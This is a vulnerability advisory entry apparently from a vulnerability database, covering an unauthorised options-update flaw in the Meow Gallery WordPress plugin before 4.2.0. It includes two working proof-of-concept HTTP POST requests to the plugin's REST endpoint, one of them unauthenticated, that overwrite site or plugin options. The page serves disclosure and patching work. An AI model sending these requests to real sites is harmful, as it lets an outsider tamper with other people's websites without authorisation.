Lucene search
+L

Meow Gallery < 4.2.0 - Unauthorised Arbitrary Options Update via REST API

🗓️ 02 Sep 2021 00:00:00Reported by wpvulndbType 
wpexploit
 wpexploit
👁 738 Views

Unauthorised Arbitrary Options Update via Meow Gallery REST API < 4.2.

Code
In version below 4.1.6, any WP options can be changed, such as the blog name etc. Since v4.1.6, only the options belonging to the plugin can be changed (see https://plugins.trac.wordpress.org/browser/meow-gallery/trunk/classes/rest.php?rev=2590365#L90 for the list)

POST /wp-json/meow-gallery/v1/update_option/ HTTP/1.1
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: [author+]
Content-Type: application/json; charset=UTF-8
Content-Length: 37

{"name":"blogname", "value":"Hacked"}


In v4.1.9, unauthenticated user can call the endpoint

POST /wp-json/meow-gallery/v1/update_option/ HTTP/1.1
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json; charset=UTF-8
Content-Length: 42
Connection: close

{"name":"mgl_layout", "value":"arbitrary"}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation